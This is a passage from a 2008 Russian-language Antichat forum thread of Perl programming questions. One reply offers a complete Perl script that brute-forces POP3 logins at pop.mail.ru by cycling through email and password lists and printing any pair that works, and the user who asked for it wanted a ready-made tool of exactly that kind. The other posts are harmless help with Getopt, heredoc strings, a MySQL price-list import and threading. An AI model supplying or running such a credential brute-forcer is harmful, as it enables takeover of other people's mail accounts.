ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

02.06.2008, 18:38
|
|
Участник форума
Регистрация: 23.04.2007
Сообщений: 233
Провел на форуме: 671223
Репутация:
91
|
|
На сервере походу нету Net::POP3;
|
|
|

02.06.2008, 18:59
|
|
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
Провел на форуме: 5128756
Репутация:
2032
|
|
$pop = Net::POP3->new('pop.mail.ru');
$pop = Net::POP3->new('pop.mail.ru', Timeout => 60);
зачем 2 раза?
в начало добавь
use strict;
use warnings;
|
|
|

02.06.2008, 20:39
|
|
Новичок
Регистрация: 21.02.2006
Сообщений: 18
Провел на форуме: 163552
Репутация:
1
|
|
Сообщение от Piflit
$pop = Net::POP3->new('pop.mail.ru');
$pop = Net::POP3->new('pop.mail.ru', Timeout => 60);
зачем 2 раза?
в начало добавь
use strict;
use warnings;
По поводу два раза думаю да Вы правы но если добавляю использование библиотек то сразу же мой скрипт не работает.
Ошибка:
Код:
Global symbol "$Fpass" requires explicit package name at hello.pl line 7.
Global symbol "$Femails" requires explicit package name at hello.pl line 8.
Global symbol "$finds" requires explicit package name at hello.pl line 10.
Global symbol "$emails" requires explicit package name at hello.pl line 16.
Global symbol "$Femails" requires explicit package name at hello.pl line 16.
Global symbol "$emails" requires explicit package name at hello.pl line 17.
Global symbol "$email" requires explicit package name at hello.pl line 20.
Global symbol "$passwords" requires explicit package name at hello.pl line 22.
Global symbol "$Fpass" requires explicit package name at hello.pl line 22.
Global symbol "$passwords" requires explicit package name at hello.pl line 23.
Global symbol "$pass" requires explicit package name at hello.pl line 26.
Global symbol "$pop" requires explicit package name at hello.pl line 28.
Global symbol "$pop" requires explicit package name at hello.pl line 30.
Global symbol "$email" requires explicit package name at hello.pl line 30.
Global symbol "$pass" requires explicit package name at hello.pl line 30.
Global symbol "$email" requires explicit package name at hello.pl line 33.
Global symbol "$pass" requires explicit package name at hello.pl line 34.
Global symbol "$logs" requires explicit package name at hello.pl line 35.
Global symbol "$pass" requires explicit package name at hello.pl line 39.
Global symbol "$logs" requires explicit package name at hello.pl line 40.
Global symbol "$pop" requires explicit package name at hello.pl line 43.
Global symbol "$passwords" requires explicit package name at hello.pl line 44.
Global symbol "$emails" requires explicit package name at hello.pl line 46.
Bareword "chompt" not allowed while "strict subs" in use at hello.pl line 19.
Bareword "chompt" not allowed while "strict subs" in use at hello.pl line 25.
Execution of hello.pl aborted due to compilation errors.
|
|
|

02.06.2008, 20:41
|
|
Новичок
Регистрация: 21.02.2006
Сообщений: 18
Провел на форуме: 163552
Репутация:
1
|
|
Сообщение от Xszz
На сервере походу нету Net::POP3;
Ребятки может быть Вы делали что-то подобное?
Если не трудно скиньте, пожалуйста, скрипт! Буду очень благодарен.
С уважением, SeeJay!
|
|
|

02.06.2008, 22:17
|
|
Познавший АНТИЧАТ
Регистрация: 23.08.2007
Сообщений: 1,237
Провел на форуме: 18127311
Репутация:
1676
|
|
Попробуй так:
Код:
#!usr/bin/perl -w
use IO::Socket;
$Fpass = 'passwords.txt';
$Femails = 'emails.txt';
open($emails, $Femails);
while(<$emails>)
{
$email = $_;
chomp($email);
open($passwords, $Fpass);
while(<$passwords>)
{
$pass = $_;
chomp($pass);
$sock = new IO::Socket::INET
(
PeerAddr => 'pop.mail.ru',
PeerPort => 110,
PeerProto => 'tcp',
TimeOut => 60
) or die "Can't connect\n";
print $sock "USER $email\n\r";
sysread ($sock, $answ, 800);
print $sock "PASS $pass\n\r\n\r";
sysread ($sock, $answ, 800);
print $sock "\n\r";
sysread ($sock, $answ, 800);
close($sock);
if($answ =~ /maildrop/)
{
print "Good PASSSSSSSSSSSSSSSSSSSSSSSSS\n".
"[>]Email:".$email."\n".
"[>]Password:".$pass."\n";
}
else
{
print "[>]BAD Password:".$pass;
}
}
close($passwords);
}
close($emails);
|
|
|

05.06.2008, 11:13
|
|
Участник форума
Регистрация: 26.02.2007
Сообщений: 259
Провел на форуме: 302951
Репутация:
67
|
|
есть .txt файл, в нем сгенерирован прайс лист вот в таком виде
Код:
1 -1 -1 -1 Серверы и рабочие станции 0 0 0
1 1 -1 -1 Acer 0 0 0
1 1 1 -1 Рабочии станции 0 0 0
1 1 1 93913 Рабочая станция Acer Aspire E360 91.9N97E.R8S K8 MCR/ATHLON 64 3400/80GB SATA/512MB DDR400/DVD RW /nVidia G7300LE 256MB DVI TV-out, PCIE/Win XP MCE & Works/USB multimedia kb and optical mouse/MS MCE Remote Control & Receiver/ACR - Russian 396 392.0 385.00
1 1 1 88830 Рабочая станция Acer Aspire iDea 510 98.Q6B79.RHP Intel Core 2 Duo T5500, 2x512Mb DDRII SODIMM, 250Gb SATA, GeForce 7600GS 256Mb+2xTV-tuner, DVD/RW Slot-in, wireless kb&mouse, Gigabit LAN+Wi-Fi, Vista HP 1683 1667.7 1652.40
1 1 1 89246 Рабочая станция Acer Aspire L320 92.2NG9Z.RHR Intel Core 2 Duo E4400 2x512Mb DDRII 533 SO-DIMM 250Gb SATA onboard Intel GMA 3000 DVD RW Slot-In corded kb&mouse Gigabit LAN+Wi-Fi Vista HP+Ent 734 727.0 720.36
и есть скрипт на перле который этот прайс заливает в базу на сайте, вот скрипт:
Код:
#!/usr/bin/perl -w
#=============================================================================
#=============================================================================
#=============================================================================
sub loadprice2{
&writebase("delete from pricelist");
open F,"price.sql";
@d=<F>;
close F;
$d=join "",@d;
$d=~s/[\r\n]/<br>/g;
$d=~s#{{([\d-]+),(\d*)}}?#$1\.$2#g;
$d=~s#{{##g;
$d=~s#}}##g;
$d=~s/<br>/\n/g;
&writebase($d);
}
#=============================================================================
#=============================================================================
#=============================================================================
sub loadprice{
$db="DBI:mysql:wiz:localhost:3306";
$db=DBI->connect($db,"login","pass");
open F,"p.txt";
my @d=<F>;
close F;
$db->do("TRUNCATE TABLE pricelist");
for my $i (@d){
my @z=split /\t/,$i;
$db->do('insert into pricelist (razdel_id,cat_id,subcat_id,id,name,price1,price2,price3) values ('.(join ',',map {$db->quote($_)} @z).')');
}
$db->do("update options set price_update=now()");
$db->disconnect();
print "<script language=javascript>top.location.href='?$rand'</script>";
}
#=============================================================================
#=============================================================================
#=============================================================================
1;
мне нужно такой же скрипт на пхп написать, можете помочь, просто в перле ока ничо не понимаю((
или хотя бы обьясните как этот скрипт работает примерно, чтоб мне было от чего оттолкнутся....
Последний раз редактировалось Корвин; 05.06.2008 в 14:03..
|
|
|

07.06.2008, 23:35
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
my %options = (
fields => 'fields',
maps => 'map',
logs => 'logs',
);
GetOptions(
"fields=s" => \$options{fields},
"maps=s" => \$options{maps},
"logs=s" => \$options{logs},
"help" => \$options{help}
);
Кто-нибудь можетр астолковать,что случается?)).Сначала создаётся ассоциативный массив %options,а вот что такое GetOptions() не знаю(.Изучаю Перл второй день,так что прошу помощи в разъяснении,что тут происходит))
И ещё вопрос - Есть такой код:
if ($options{help}) {
my $msg = <<EOF;
mapview.pl [OPTIONS]
Options:
--fields=path Path to the folder containing .fld files.
--maps=path Path to the folder containing map images.
--logs=path Path to the folder containing log files.
EOF
$msg =~ s/^\t*//gm;
print $msg;
exit 1;
}
Вопросы: 1.Что такое << перед EOF ? Смахивает на какой-то поток как в Си))).
2.Что такое mapview.pl [OPTIONS] ? Смахивает на массив,никогда такого не видел оО(.
3.Почему после EOF( второго по счёту) указывается блок кода,если после EOF всё игнорируется?)
ЗЫ: Если мои вопросы будут удалять,задавать я их не буду =_______=,ибо это топик ВОПРОСЫ !)
Последний раз редактировалось Велемир; 07.06.2008 в 23:39..
|
|
|

08.06.2008, 01:12
|
|
Banned
Регистрация: 12.01.2007
Сообщений: 113
Провел на форуме: 4094601
Репутация:
495
|
|
Код:
GetOptions(
"fields=s" => \$options{fields},
"maps=s" => \$options{maps},
"logs=s" => \$options{logs},
"help" => \$options{help}
);
Getopt::Long
1. Это строчно-ориентированная форма расстановки кавычек.
2. mapview.pl [OPTIONS] - это часть строки скаляра msg
3. кто сказал что игнорируется %) ?
|
|
|

09.06.2008, 06:50
|
|
Познавший АНТИЧАТ
Регистрация: 27.04.2007
Сообщений: 1,044
Провел на форуме: 3660186
Репутация:
905
|
|
Код:
my $msg = <<EOF;
mapview.pl [OPTIONS]
Options:
--fields=path Path to the folder containing .fld files.
--maps=path Path to the folder containing map images.
--logs=path Path to the folder containing log files.
EOF
Это один из вариантов объявления строковой переменной $msg, так называемый heredoc. Все, что находится после
и до строки
является многострочной heredoc-строкой. Перл в таком случае не будет считать EOF признаком конца файла, как ты видимо, подумал. Это просто признак конца heredoc-строки. Вместо EOF может стоять любая последовательность символов.
Если непонятно объяснил, то вот тебе вариант строки в более привычной форме
Код:
my $msg = "mapview.pl [OPTIONS]\n"
. "\n"
. "Options:\n"
. "--fields=path Path to the folder containing .fld files.\n"
. "--maps=path Path to the folder containing map images.\n"
. "--logs=path Path to the folder containing log files.\n";
или
Код:
my $msg = "mapview.pl [OPTIONS]\n\nOptions:\n--fields=path Path to the folder containing .fld files.\n--maps=path Path to the folder containing map images.\n--logs=path Path to the folder containing log files.\n";
Согласись, что heredoc-вариант более предпочтителен с точки зрения читабельности кода.
Если все равно непонятно, учи перл, юзай гугл.
ЗЫ. Такой вариант объявления строк есть и в PHP
|
|
|

11.06.2008, 18:28
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме: 21768337
Репутация:
3486
|
|
Попытка создания многопоточного скрипта:
Код:
#!/usr/bin/perl
use threads;
for(0..10) { $trl[$_]=threads->create(\&trp,$_);}
for(@trl) { $_->join;}
sub trp
{
my $i=1, my $x=5;
while($i<=$x)
{
print $i.":test\n";
$i++;
}
}
По идее должны записи выводится хаотично.
Но выводятся они так:
1:test
2:test
3:test
4:test
5:test
1:test
2:test
3:test
....etc....
Потоки то есть, но почему то последовательно а не параллельно.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|